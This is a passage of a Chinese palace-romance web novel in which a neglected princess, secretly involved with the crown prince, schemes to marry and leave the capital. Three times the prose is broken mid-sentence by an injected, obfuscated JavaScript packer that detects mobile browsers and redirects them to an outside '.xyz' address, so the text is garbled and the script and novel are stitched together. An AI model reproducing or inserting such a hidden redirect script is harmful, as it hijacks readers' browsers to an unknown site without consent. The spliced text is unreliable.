宫中有专门教导公主琴棋书画与女红的司坊，萧棠跟着学了几年，都已精通一二。只是她惯于藏拙，人前从来不显露自己有何才情。 她手指灵巧，绣艺自也不差。但苏绣精细，穿针引线时需要慎之又慎，一个不留神便会被刺破手指。 雪白的指尖陡地冒出豆大的血珠，萧棠习以为常地放在唇边轻抿了下，抿掉血珠后继续布线行针。 她并非表面上那般怜弱，早习惯了这些没什么大不了的疼。看在眼里的瑞雪却心疼得很，嘟囔道：“都怪奴婢只会做粗活，不能替殿下代劳。” 而且，“殿下，要奴婢大言不惭说，你随便绣绣以表心意就好，不必这般精益求精。太子有天底下最好的绣娘，也不缺潇湘殿这一个。” 萧棠：“可潇湘殿只给得起这一个。” 除了这点还过得去的绣艺外，她唯一拿得出手的，便只剩这副身体。 上回在马车里遭魏珣误会玩味，回想起来已经让萧棠羞得无地自容。若非魏珣要召她，她真的一点都不想再主动去见他。 更不想再揣度他的心思，绞尽脑汁去想讨好他的法子，简直是自取其辱。 “……算啦，先放着，”少女放下针线，“一时半会也绣不完，不如先去御花园散散心。” 今日风和日丽，御花园新芽初绽，本是个闲游的好去处。然而没走几步，女子们嬉笑打闹的声音便打破了宁静。 “前面亭中好像是长宁公主、六公主与她们的伴读等人，”瑞雪低声道，“殿下，右边正好有一条小径，咱们绕行错开吧。” 作为货真价实的天家血脉，那群公主自幼就不屑于与萧棠为伍。从前在司坊上下学时她们就视萧棠如无物，萧棠也不在意。双方常年井水不犯河水。 不过今日有所不同，她刚准备绕行，就见长宁公主身边的侍女三步并两步走过来，福身道：“淳和公主，我们殿下有请。” 说着请，言辞却没半分恭敬，直接以身挡住了萧棠的去路。 瑞雪：“殿下大病初愈，恐会过了病气给长宁公主——” 侍女无视她，对萧棠重复了一遍：“淳和公主，我们殿下有请您过去。” 瑞雪沉不住气，脸色一下子变了。 萧棠不动声色地拍了拍瑞雪的手，跟着侍女走到了凉亭下。 长宁公主居主位，左右众星拱月似的陪她说话玩乐。原本是一派言笑晏晏的景象，瞥见萧棠过来，不知怎的，一个二个都默契地收了声。 尴尬的沉默持续了好长一瞬，长宁公主才像是反应过来有人来了，望向亭外那道纤细的倩影：“姐姐来了？快坐吧。” 她偏过头，斥道，“不长眼睛的，还不快点给淳和公主倒茶。” 长宁公主模样矜傲，一瞧就是被宠爱着长大的姑娘。 事实也的确如此，她才刚及笄，是皇帝最小的女儿，在众位皇女中最受宠爱，母亲因她连年晋位，如今已是四妃之一。 萧棠在席末落座，便听长宁公主道：“听闻姐姐病了好一阵，如今瞧着气色，应该好些了吧？” 她年前明明装病了那么久，可看长宁公主那一脸关切，就像是才刚刚听说就来问候她了一样。 若是不知情的，还要感叹一句姐妹情深。 萧棠顺着她说：“承蒙陛下赏赐的药材，好了许多。” “只有父皇赏赐了药材吗？”长宁公主装作不经意地提起，“我前日听说太子哥哥替姐姐说了情，东宫应当也很关心姐姐的病吧。” 提起太子，周围一双双眼睛都不约而同地落到了萧棠脸上。 萧棠心头一哂。 原来一反常态邀她小聚，就是为了这个。 也对，若非她与太子殿下扯上了关系，这些人哪里会把她放在眼里？ 她与长宁公主等人上一回见面还是除夕宴上。碍于是在众目睽睽之下，长宁公主没有像从前那样无视她一走了之，敷衍地说了几句吉祥话。 但也仅此而已，哪儿比得上此时这般热情。 “……我从前没见姐姐同太子哥哥说几句话，还以为你们之间不大熟悉。没想到太子哥哥这般疼你。” 长宁公主撑起脸，“不像我，他都不曾过问我的婚事。” 萧棠还是那一套说辞：“和亲乃是两国之好，太子在意的是国事，而非我的私事。” 长宁公主抿起嘴唇，从头到脚打量起她：“太子哥哥先前或是后来没有私底下与你说过什么吗？” 萧棠道：“我与太子并不相熟。” 长宁公主不说话了，她身旁另一人反而开了口：“太子殿下一贯宅心仁厚，又是菩萨心肠，替淳和公主说话也在情理之中。” “是啊，不论如何，淳和公主的父亲到底是战死沙场的老臣……” 长宁公主笑了下：“也对，太子哥哥心地仁善，微服私访时见到路边乞丐老妪都会施以援手，况且要去和亲的是淳和。” 她语调轻快，说出的话却有意无意夹着刺。 话音刚落下，萧棠四周的人都心照不宣似的哄笑起来。 有人立即接话道：“恐怕淳和公主自己也没有想到，蛮夷人一见钟情的会是她这般的女子。” “别说淳和公主了，谁能料到蛮夷之地的男人的眼光，与咱们大邺这么大相庭径呢。” 一听说她并未得到太子殿下的青眼，这群贵女们便连装都懒得再装，顷刻恢复了原样。那一声声的笑语之中，几乎都是对萧棠的评头论足。 燕京女子崇尚典雅端庄之美，萧棠不止生得艳丽，还病歪歪的没个正形。也就是蛮邦人粗浅鄙薄，只看中相貌身段，才会对她一见钟情，还求娶得如此沸沸扬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他能给她们的东西，实在是太多太多。 太子殿下若是夸了一句名不经传之辈的诗赋，那人不出一日就会声名鹊起，被燕京权贵争相追求墨宝。 既然他说她是忠臣遗孤，不论皇帝如今信与不信，旁人以后是绝不敢再随便往她父亲身上泼脏水。 “……我今晚挑灯绣完这只香囊，你明日拿去给吴年，托他谢过太子殿下。” 萧棠瞥了眼瑞雪，提前拆穿了她的心思：“不要提我的伤。” “奴婢明白。” ………… 太子常居东宫，此间处处都随了魏珣的秉性，琼台玉阙，兰庭竹室，银蟾台榭，玉壶天地，置身其中，难免叫人恍惚生出梦游错入仙境的错觉。 吴年低头疾步穿过游廊，将回屹使驿的密信呈到太子桌案前。 魏珣眼也没抬一下，继续看着手中残缺的案牍。 此时不该多嘴，只该默默退下。然而想着袖里的香囊，他踌躇了一会儿，最终还是将香囊也呈到了男人手边，低声道：“这是淳和公主给殿下的谢礼。” 吴年深知太子殿下的处事，本以为魏珣不会理会，说了这么一句后就打算告退。 谁知，魏珣竟瞥了一眼。 吴年福至心灵，立即全盘托出：“潇湘殿的侍女说，淳和公主对殿下感激不尽，无以回报，这几日连夜挑灯做了一只六尾锦鲤纹的香囊。” “奴才瞧着这香囊细致，比之宫中绣娘的手艺都不相差。应当是淳和公主心系殿下，为此彻夜不休，唯恐容颜憔悴，才没有亲自来见殿下，只能托侍女相送……” 女为悦己者容，淳和公主应当也不例外。 他瞧着太子殿下对这只香囊似乎有些兴趣，便想趁机为萧棠说几句好话。 然而一番舌灿莲花下来，男人只是轻轻嗤了声。 “你倒很留心这些无关紧要的东西。” 5. 第 5 章 香囊送出去后如石沉大海，魏珣并未表示，只有吴年送来了些太医使特制的芙蓉珍珠粉膏。 瑞雪悄悄端详了半晌少女瓷白无暇的脸蛋，遗憾地想，这些粉膏实在没有用武之地。 可据说这是专供给宫中贵人们养颜所用，贵重万分，若是压箱底了又太可惜。 于是瑞雪当机立断，决定拿来为萧棠养护双手。 萧棠赶工赶得匆忙，手上留下了好些小疤。她绣的六尾锦鲤式样复杂，用的针比寻常的针长，伤口更深更密，便更不易恢复。 美玉生瑕，瑞雪每每瞧见，都心疼得打紧。 萧棠看了眼瑞雪手中的青瓷药瓶，又低头看了看手上的伤口。 她生得白，有一点红的褐的便十分扎眼。 “不用了，”萧棠道，“让伤慢慢好吧。” 瑞雪不解，萧棠却不能明着解释，只笑道：“我用不上，不还有你吗？你拿去用就是了。” 她打的是个鬼主意。太子殿下目中无尘，若与她行事时发现她手上伤未好完，说不定还能少些兴致，也叫她少吃些苦头。 不过，接下来两日，魏珣仍旧未有召她的意思。 萧棠有些意外。上一回魏珣在床笫间前所未有的肆行，她本以为是他数月未有纾解的缘故。既是如此，最近召她应该会更频繁些。 没想到还跟从前一样。 不过转念一想，每日送到东宫之中、太子案前的稀世奇珍不计其数，想要攀附太子殿下的女子亦如过江之鲫。 魏珣对她只是一时兴起，若她不再主动讨好献媚，这份兴趣持续了一年，也到了该淡下去的时候。 这正合了萧棠的意。 她已经下定决心，下月生辰之前一定要跟魏珣断个干净，再尽早想办法远离燕京这处是非之地。 如今看，第一样并不难，但第二样…… 萧棠已有些头绪，但尚未等她理清，潇湘殿便又猝不及防地迎来了一位不速之客。 坤宁宫的侍女立在殿外，说皇后娘娘要见她。 一听见坤宁宫的字眼，萧棠脑海中闪过先前应付严嬷嬷的话语。 她反复去细想，应当没有什么纰漏。 退一万步说，就算皇后对她有万分不满，事情也已成定局。作为中宫皇后，她贯然不会跟一个不受宠的公主计较，有失身份，又有损颜面。 那现如今忽然召她，是意欲何为？ 来的侍女嘴严，不会透露半句，只道：“娘娘已在坤宁宫静候公主，公主莫要让娘娘久等。” 话到这个份上，她便一刻都不能再耽搁了。萧棠按捺下忐忑的心思，跟着侍女前去了坤宁宫。 一到坤宁宫外，便迎面见到一位内侍走出来。 那内侍低眉顺眼，可萧棠瞧了一眼便觉得眼熟。 再一看服制，原来是东宫里的人。 萧棠一下子生出许多有的没的联想，思绪也从东宫瞬间到了宫外那处不为人知的私邸。 她当然是怕自己跟魏珣的关系被人发现的，但她也清楚，魏珣同样不会容许他们之间的关系被外人知晓。 并且，东宫有足够的手段掩人耳目。 她擅自出入皇宫，屡屡夜不归宿，东宫都已经命人打点过。 吴年已经跟她通过气，就算有人手腕了得，抽丝剥茧地往下查，最多最多也只会查到她前往了宫外家父名下的旧宅。 虽然犯了宫规，但她到时候用一句思念亡亲也能应对过去。 哪怕皇后娘娘是魏珣的亲身母亲，应当也没办法打探到他私底下那些荒唐之举吧？ 胡思乱想着，侍女已领她走到殿中。 萧棠收回神，垂首行礼：“请皇后娘娘安。” 隔了好一会儿，高台上才传来妇人不紧不慢的声音：“抬起脸来。” 萧棠愣了一下，才依言抬起了脸庞。 午后晴光宜人，光华斜入窗棂，映在少女姝色明丽的脸上。 严嬷嬷眯起眼睛，再度正眼打量起萧棠。 少女虽抬着脸，视线却仍规矩地低垂着，显得十分温驯柔顺。 饶是严嬷嬷再看不惯淳和公主，也不得不承认，这位公主殿下是颗蒙尘的明珠。 她见过五湖四海采选进来的美人，那都是各地拔尖的灵秀，环肥燕瘦，莺莺燕燕，却少有人能与淳和公主的样貌媲美。 饶是她再安静，再卑微，也无法遮掩住那一副艳绝燕京的皮囊。 可这世道，拥有如此美貌却无法自保，便如稚子抱金行于市，未必是件好事。 且不论对萧棠一见钟情的回屹可汗，严嬷嬷还记得一年之前，皇后娘娘母族那位世子也曾闹着要娶萧棠为妻。 淳和公主的身份哪里够上做高门妻、世子妃，侯爷跟侯夫人当然不能同意。 可那混世魔王纨绔惯了，是个犟骨头，又不知道被萧棠下了什么迷魂药，就是指名点姓非她不娶。 为了同萧棠多些来往，还特意大闹家中，相逼侯夫人去找皇后娘娘说情，将淳和公主也破天荒地列入了去行宫避暑的名单。 只是那世子在行宫中酒后失言，家族唯恐牵连到太子殿下的声誉，连夜将他送到千里之外的叙州府，他与淳和公主的事才没了下文。 也幸好如此，不然依照世子的性子，肯定还要让皇后娘娘头疼好一阵。 萧棠体弱多病，常年深入简出，都能接二连三惹来那么多番倾慕，也不知假以时日，她若是再长开些，多露几次面，还要掀起多大的风浪。 当真是个祸水。严嬷嬷心头感叹了一声。 投到她脸上的目光持续了不短的时间，萧棠一动不动，任由人打量。 忽然，她听见皇后问：“本宫记得你已经及笄了，可有心属的郎君？” ……啊？ 原本在脑海中一一闪过的对策在一瞬间统统失了效，萧棠万万没有想到皇后特意召她来，竟是为这种事。 她未曾掩饰脸上错愕，顿了一顿才柔声应道：“不曾。” 皇后又问：“之前可有什么指腹为婚的娃娃亲？” “也不曾。” “……寻常人家的女儿，到这个年岁大多都定了亲，出了嫁，最迟也该让家里人相看夫婿了，倒可怜了你。” 皇后抚着指尖丹蔻，说着可怜，慢悠悠的语调却未必有多少真情实感的怜惜。 她话锋陡然一转：“你虽非本宫亲生，可本宫也算你的义母。” 如果说刚被问时，萧棠还有些懵，现下她已经完全反应了过来。 ——皇后竟然起意要为她挑选婚配。 她已及笄一年有余，若皇后当真是出于义母慈心，不可能到现在才惦念起她未出嫁。 个中缘由，联系这段时间发生的事，不难想清楚。 肯定又跟魏珣脱不了干系。 这些贵人一旦起心动念，动动手指，或是说一句话，就足以叫她的人生天翻地覆。 ……但也未必是坏事。 萧棠拜伏在地，并未直接答应或干脆拒绝，而是轻缓应道：“娘娘是中宫之主，母仪天下，慈悲为怀，能得您为义母，是儿臣之大幸。” 皇后轻笑了声，也不知有没有将她这番恭维听进去。 萧棠睫毛轻颤，试探性地道：“儿臣斗胆想问，这是娘娘的意思，还是太子殿下的意思？” 是皇后想要她嫁人，还是魏珣授意，两者天差地别。 皇后：“女儿家的事，便不必叨扰太子了。” 言外之意，这是皇后自己的主意，并且不打算告诉魏珣。 萧棠心中已有思量，应了声是，“儿臣自知家父之事已经惹来了不少麻烦，若再让娘娘为儿臣掌眼，不知会不会令坤宁宫节外生枝……” 说着说着，她的语调已经染上了愧疚。 见她如此谨慎懂事，皇后倒是满意了不少：“起来吧，不必这般局促。” 萧棠站起身，却还低着头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15715986|173709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，一副愧于面对她的样子。 “本宫只是随便问问你中意什么样的郎君。若是有，身份又合适，便替你做一回主。既然没有，以后再议也是一样的。” 萧棠懂了。 皇后娘娘的意思很明显，碍于各种各样的原因，她不会光明正大插手她的婚事，替她相看夫婿。 可她若相中了谁，想要嫁人，皇后也愿意成全。 大邺风俗开放，不似前朝那般流行盲婚哑嫁。可她若想要择一良婿，却还是少不了父母之命、媒妁之言。 只是，“儿臣愚钝，不知怎样的身份，在娘娘心中谓之合适？” 皇后不答反问：“淳和觉得呢。” 这话似是闲谈，却不能随便回答。 萧棠紧咬住唇，思索良久，才认真道：“儿臣不求夫婿拜侯封相，飞黄腾达，只求品行方正，家风严谨，最好是江南人士，能与儿臣归乡生活。” 皇后侧目：“此话当真？” 萧棠：“婚嫁是女子人生大事，儿臣不敢有半句欺瞒娘娘。” 这些要求，她早已想好，只是未有像现在这样清清楚楚地一一罗列。 这世道，女子很难独身行于外。想要名正言顺地离开燕京，唯有成亲的由头最合适，她得抓住这个机会。 但萧棠想起先前那位穷追不舍的世子，心头不由得一紧。 若皇后的本意，其实是想令她去做燕京哪位高门大户的续弦、继室，或是许给那些名声太过狼藉，寻常贵女都不愿意嫁的膏粱子弟…… 难不成她还要去求魏珣吗？ 万幸的是，皇后笑了下，道：“若真是这样的男子，与你也算合适。” 一颗心重重落地。 “明日宫中便有宴饮，你若身子好了，就一同去吧。” 皇后没有明说，但萧棠也心知肚明，这绝非一场普通的宫宴。 她重重叩首：“多谢娘娘。” ………… 瞧见少女的身影渐行渐远，严嬷嬷收回目光，望向有几分倦态的美妇人，连忙上前为她按捶肩颈。 一边按摩，又一边感叹道：“娘娘着实仁慈，淳和公主为您跟太子惹了那么多是非，您还愿意替她安排婚事。” 贵妃与誉王那派的臣子这几日频频上谏，暗指太子与谋逆旧党勾结。若非太子殿下早有准备，借此反将了一军，指不定真会被他们泼上了脏水。 皇后揉了揉眉心：“本宫只是在替子霁考虑。” 子霁是魏珣的字。 光风霁月，正如其人。 “子霁替她父亲说了话，固然能够拉拢人心，但从今往后，大家都认淳和算是东宫麾下的了。” 魏珣行事无可指摘，有心之人只得从他身边的人下手搬弄是非。若萧棠往后再招来什么乱子，定会波及到东宫。 如此一来，还不如趁早顺水推舟，把萧棠打发去嫁人了。 若能把她嫁到千里之外，再也不会有消息传回燕京，对东宫有什么影响，自然更好不过。 这一点，皇后并未挑明。 她也是女子，怎会不明白女子的野心？ 萧棠身处皇家，见惯了荣华富贵，又长了副足以将人迷得神魂颠倒的脸蛋，若不甘心就此离开燕京，想要往高处走，嫁进什么世家大族，其实也无可厚非。 只是没想到萧棠与她会不谋而合。 “……确实是个聪明的姑娘。”皇后喃着，心下高看了萧棠几分。 严嬷嬷倒想起刚刚那位东宫内侍。 皇后想见太子，屡屡派人前去东宫问询，太子却始终没有出现，只是命身边心腹前来以尽孝心。 太子殿下仁民爱物，素崇孝道，可这对天下最尊贵的母子，私底下的关系早已经微妙到了极点。 “事关太子，娘娘当真不要派人去东宫知会一声吗？” 皇后似是有些疲倦，合眼道：“告诉了子霁，反倒让他以为坤宁宫又多管闲事，罢了。” 6. 第 6 章 从坤宁宫回潇湘殿的路不短，萧棠却头一回感觉只是须臾之间。 原因无他，她满脑子翻来覆去都是坤宁宫中那一番对话，压根顾不上外物。 连瑞雪唤她，萧棠都没听见。 “……殿下！！”瑞雪急了，“皇后娘娘是不是为难您了，您怎么一脸魂不守舍的？” 萧棠这才回过神，瞧见瑞雪一脸心急如焚，连忙否认：“只是出了些变故。” 她连忙三步并作两步跟着瑞雪进殿，合上宫门，三言两语交代了方才的事。 瑞雪也始料未及，皇后不止没有为难殿下，竟然还突发这般好心？她睁大眼睛，结巴道：“那、那、那殿下的意思是——” 萧棠垂下眸，盯着手上的疤痕。 过了一会儿又抬起时，桃花眸中已是一片清明：“我想，机不可失。” 是的了，她一个囿于深宫的女眷，父兄阵亡，母亲早逝，所谓的亲族与她关系浅薄，又远在江南，对燕京中事鞭长莫及，无能为力。 若是没有靠山，到了年岁，就只有被那些贪声逐色的权贵子弟挑拣与唐突的份。 但若皇后对她的婚配上了心，情况便大不相同。她可以安安心心地挑选一位妥帖的郎君，顺顺利利回到家乡安稳度日。 燕京城这地方，一块石头随便砸进人堆里都能砸死五个朝臣三个公侯，她的公主虚名自然是不够看的。 可是若远在江南，地方的衙府总要敬她两分，加之夫家照拂，她总不必再像现在这样难堪。 况且，等到了江南，她也可以同母族那边的人联系，多加筹谋，想办法在当地站稳脚跟。以后就算所托非人，也有了自己的倚仗跟底气，不必再像这般日日如履薄冰。 前前后后，她都想好了。 萧棠知道自己的想法带着些天真，但无论如何，总比坐以待毙来得好。 况且，尽管皇后没有明说，但她隐隐有预感，皇后也是想让她这个烫手山芋离开燕京的。 既是如此，若再有哪个燕京的世家子弟看中了她，再闹出什么事，皇后肯定也会想办法庇护她万全。 她也就不必再去求魏珣。 但，说到魏珣—— 瑞雪问：“那殿下怎么跟太子交代？” 萧棠不说话了。 还能怎么交代，当然是先斩后奏。 萧棠也想不出更好的法子，总不可能她亲自去找魏珣，口口声声跟他说，她准备琵琶别抱。 她虽未出阁，但也懂那些男女间的人情世故弯弯绕绕。对一个男人来说，她当面承认自己起了二心，跟挑衅有什么区别？ 萧棠虽打算跟魏珣一刀两断，却万万不敢跟他结仇，否则太子殿下只需轻飘飘说句话，就能让她后半辈子都不得安生。 她只想一别两宽，好聚好散。 魏珣既然腻味了她，她也就不必再往男人跟前凑，两人大可就这样心照不宣地做回一对最普通平凡的兄妹。 “依我对魏珣的了解，若他之后知道我要嫁人，应当……”萧棠沉吟了一会儿，“也不会说什么的。” 太子殿下目空一世，眼高于顶，对一个已经没什么兴趣，又准备要嫁人的义妹，肯定懒得有什么多余的反应。 就如同一个富可敌国的商贾，若是丢了一文钱，别说命人去寻了，恐怕连看都不会多看一眼。 至于旁的，“走一步看一步吧。” 萧棠思忖几许，又吩咐瑞雪：“你借着出宫的机会，帮我去打听打听如今在燕京城有什么符合我要求的郎君。” 宫女每月或每两月是可以偷偷出宫采买物什、典当财物，或是归家探亲。如今当值的女官慈心，对此都睁一只眼闭一只眼。 她特地点了出宫，是想着从宫女口中得来的消息，远不如坊间口口相传的准确。 譬如当初那位世子，宫女们只会说他来自皇后母家，身份何其显贵，只有从民间打听，才得知他当街纵马等等恶霸行径。 后来果不其然，干出了给她下椿药，逼她强从这种毫无礼义廉耻的事。 ……不过，这么说来，坊间的传言也只能做个参考。 随便在路边抓一个人，哪怕是懵懂孩童，应当都能对当今的太子殿下说出一长串的溢美之词。 可谁知道他的真面目坏得一塌糊涂。 主仆间颇有默契，不需要她说明白，瑞雪便已心领神会。 打听消息得从长计议，但皇后让她参加的宫宴转日便至。 也许是看不上她从前太过朴素的衣着，宴前，坤宁宫的宫女还特地送来了皇后的赏赐。 “……娘娘念及公主常常衣不重彩，便特赐了这些衣裳首饰。这件长裙用的是金错绣绉的贝锦，寸锦寸金，娘娘待公主可是极好的。” 到底是坤宁宫的人，那宫女行事十分周密，先捧了一遍皇后，提点着萧棠记住这恩情，又说：“贝锦特殊，不比寻常衣料，奴婢晚些教公主殿下的侍女如何打理。” 萧棠望着那斜织的锦缎，有些意外：“此物如此金贵？” 宫女一顿，笑了笑：“那是自然。” 那笑中有一抹掩饰得很好的不以为意，像是在笑萧棠贵为公主，见识连皇后宫中的侍女都比不上。 萧棠没有点破。瑞雪送走宫女，折返回萧棠身边，也打量起那一身缎裙，诧道：“太子殿下可真是大手笔。” 那日萧棠回来时身上所穿的衣裙，用的也是同样的织缎。 那可不是魏珣特地的恩赏，只是他私宅中一件普普通通的裙衫，因着她先前的衣裳被扯坏了，便拿给她应急，谁能想到竟是如此价值连城。 萧棠惊讶之后又是庆幸，还好她做事小心，从未将跟魏珣有关的任何东西显露于人前。 否则的话，被人瞧出，真不知道该怎么交代。 ……也不知道太子殿下是怎么想的，是对她很放心，知道她不会去招摇过市吗？ 萧棠想不明白，干脆不想了。宴会在即，这出插曲很快被掠过。 从前赴会，萧棠只求不出错，从不求出挑，是以几乎不施粉黛，今日难得梳妆打扮了一番。 镜中的少女一下子变得明艳烨然，饶是瑞雪已经习惯了公主殿下的美貌，此时也有些挪不开眼。 萧棠见瑞雪盯着她，微侧过脸：“怎的，不合适吗？” “……合适，合适得不得了！奴婢还以为是话本里的天仙下凡了呢。” 只是可惜了，那双手故意折腾出了伤疤，美玉有瑕，叫人心疼。 萧棠只当瑞雪又在贫嘴，笑了声：“好啦，走吧。” 她没有闺中密友相邀，也无人结伴，只得独自来到宴上，由宫女领着入座。 正是开春好时节，风清日朗，宫中所设的内外宴也重新多了起来。宴会尚未开始，气氛格外松快。 可等萧棠步入席中，她微妙地感觉到四周的谈笑声不约而同地停滞了一会儿。 紧接着，一道道目光都投了过来，各式各样视线流连在她脸上、身上。 萧棠面上不显，只抿起涂着胭脂的唇，越过那些打量，如常坐下。 大抵是皇后特地吩咐过，往前她都是坐在席末，如今往前移了几个位置，同那些平日高攀不起的贵女王孙们近了许多。 不过，只是席位靠近显然没有什么用。 那群女眷们瞧见她竟坐在自己旁边，惊讶过后默契地交换了一个眼神，便不约而同地忽略掉了她这个刚来的大活人，继续笑吟吟地攀谈起来。 少女四周都是说笑声，唯独她一个人安静地坐着，单薄的倩影显出几分格格不入的窘迫。 萧棠却无心掺和这些暗潮涌动。 现下男女分席，男子都坐在她对面，正方便她观察。她扫了一眼，都是些不大熟悉的面庞。 说来也巧，她一看到谁，那人便像是留意了她许久似的，恰好望了过来。 四目相对，少女水盈盈的眸子如一道漾起的横波，瞧着人不说话时便似是欲语还休，像一根纤细的雀羽，挠得人心头直痒痒。 偏偏吝啬得很，看人只看一眼，勾得人眼珠子都瞪直了。 没人知晓萧棠正在想什么。 这个瞧着应当是哪家的公子哥，脾气很差，她招惹不起，不行。 这个瞧着眼下乌青太重，身体应当过分虚浮，不像是个正经人。 这个……总之也不行。 粗略一看，光是皮囊都无一入眼。 萧棠正欲收回目光，却忽地瞧见人群间隙中有个出挑的少年。 说出挑，有几个原因，最重要的就是他长得实在不像燕京人士。分明是一张极为英俊的脸，却与寻常养尊处优的纨绔子弟不同，像是被风吹日晒过，皮肤呈小麦色，反而衬得五官愈发深刻，凌厉，锋芒毕露。 他的位置并不靠后，瞧着应当身份不凡，却与那些世家子格格不入，并不搭理他们，一个人闷头喝茶，动作潇洒得很，让人错以为他在饮的是什么烈酒。 察觉到萧棠的目光，少年不着痕迹地皱一下眉，抬头望了过来，那神色看得人不禁发憷。 然而当他看清萧棠时，微愣了一瞬，脸上的凌锐之色一下子消失殆尽。 萧棠却已经收回了视线，不再看他。 与此同时，她的耳朵忽地听见一个熟悉的名字：　“……你们说，太子殿下今日当真不会来吗？” 果然，无论何时，女子们私下最爱议论的就是魏珣。 太子殿下弱冠已过三年，至今却仍未娶妻，东宫连侍妾通房都不曾有，难免叫这些情窦初开的适龄贵女们起了几分跃跃欲试之心。 只可惜，“太子殿下今晨才主持了学宫释奠礼，学宫事务繁重，定然无暇抽身。” 饶是萧棠孤陋寡闻，也知道释奠礼是学宫一年一度最重要的日子，亦是“三礼”中的“君师”之礼，在天底下读书人心中意义超然。 从前都是交给臣子去做，前年起开始变成了太子殿下亲自主持，办得愈发隆重，也使太子在儒生文人心中的地位水涨船高。 这样的盛会事关重大，前前后后定有许多繁琐流程，加之魏珣对她已经失去了不少兴致，如此一来，她又可以有两三个月不必见魏珣了。 想到这，萧棠莫名松了口气。 不来也好，省得她提心吊胆，还要抽出空应付他—— “皇后娘娘到！” “太子殿下到！” 内侍尖着嗓子接连的喊声似一块石头砸入湖中，平静的湖面瞬间荡起了圈圈涟漪。 太子殿下竟然纡尊来了！前一刻还在遗憾的众人自是又惊又喜。 萧棠除外。她只有惊，没有喜，却半分不能表露出来，只得跟着其他人齐行跪礼，口称参见皇后娘娘与太子殿下，万福金安云云。 萧棠低着头，又离得远，根本无法看见魏珣此时的模样，余光只能捕捉到他走过时掠起的衣边。 似勾玉堆锦，簪星曳月。 所谓与玉比德的君子风度，大抵正是如此，连行走时的步态都无可挑剔。 “诸位免礼吧，”不比私下见萧棠时，皇后的语气十分平易近人，“年后难得一聚，就当是叙叙旧，赏赏春，不必那么多虚礼。” 皇后这般和善，众人却不敢真的放下礼数，做足了礼节才起身坐回位置上，也终于能够看清上首的情况。 皇后坐主座，太子殿下在她右手侧。 也许是才去主持了释奠礼的缘故，魏珣今日的装束有些不同，着一身玄衣，腰间扣白玉，除此外再无旁饰，比平日更显出清冷严正。 加之他生得实在俊美，此时一言不发，便越 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15715987|173709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发地像一尊金相玉质的菩萨，叫人又敬又畏。 离皇后近的宗亲女眷最先出声，同皇后娘娘寒暄了几句，话题又自然而然地移到了太子头上。 皇后笑道：“子霁自愧这段时日无暇到坤宁宫请安，趁着他此时有空，本宫便让他过来陪本宫坐一坐，晚些他便要去面圣了。” 这话一出，什么太子一片孝心啊，什么皇后娘娘教导有方啊，席下恭维的话顿时不绝于耳。 座下又一位女眷捧话：“早知道太子殿下会来，我定把鸣之这几日的诗带来讨教太子一番，他那孩子呀，可是快把太子作的诗背得滚瓜烂熟了。” 魏珣终于开了口：“鸣之的病可好些了？” “多谢太子殿下派的江太医替他诊治，如今已好了大半。” 男人颔首，语气堪称和煦：“正好，孤记得他喜好长赋，这几日出入学宫时为他物色了一位适合的老师，等他病愈后，孤便派人到尚书府上。” 闻言，尚书夫人几乎喜出望外。饶是魏珣让她不必拘礼，她仍起身连连谢恩。 任是谁心头都有杆秤，魏珣这一举，可比赏赐什么冬虫夏草、龙肝凤髓还要恩重得多。 那些外物再怎么珍贵，上位者只要舍得，也不过是随口一赏的事。 可记得一个并不亲近的小辈的文墨喜好，还在忙碌之余为他悉心挑选了启蒙老师，如此种种，不可谓不用心。 更何况，太子是什么人？他师从大邺最德高望重的大儒，又是文官集团中说一不二的话事人。他若为谁选了老师，从今往后，文坛还敢有人随便说那人不好吗？ 那可是太子殿下挑中的人带出的学生！ 聚天下众人之善者，圣人也，太子殿下笼络人心的手段一向很高明。 有魏珣在的地方，毫无疑问，众人的目光不可能移到旁处。 筹办宴会的由头五花八门，宴上的内容却就是那无外乎就是那两样，世家宗亲交际应酬，适龄的公子千金彼此相看。 在座的世家无一不想攀援他，未婚适龄的女眷无一不想嫁给她，眼里哪儿还放得下旁人。 萧棠其实很想继续观察一下对座的人。可魏珣就在上头，她总觉得在他眼皮子底下有几分不自在。 思来想去，少女决定往上偷偷瞥一眼。 魏珣似乎压根没有发现有她这个人，又或者发现了也没什么好在意的，正在温声问候皇后。 无论谁看了，恐怕都要感叹好一副母慈子孝的景象。 过了一会儿，没听见内侍通报太子离席，她再往上瞥一眼。 魏珣垂着眸，正听座下一位宗亲同他说起些几桩沙灾时的见闻。 那人说着，他只是偶尔淡淡地应一声。 虽惜字如金，可很显然，对与他交谈的人来说，能得他回应便足够叫人受宠若惊了，当下便更说得滔滔不绝。 萧棠耐心等着过了片刻，她又瞥一眼。 ……怎么太子殿下还是没有离开的打算？ 少女诧异，皇后不是说他只是坐一会儿吗？ ………… 上首，吴年借着斟茶的功夫，靠在男人耳侧，低声提醒：“……殿下，公主好像在看您。” 座下的人还在试图同太子攀谈，魏珣垂眸，瓷杯中的茶水映出他瞳仁中极淡的不耐烦。 过了一会儿，吴年又道：“公主连着看了您好几回了。” 魏珣嗯了一声。 他当然发现了。 少女的目光频频投来，明眸善睐，殷勤得实在有些太过明显。 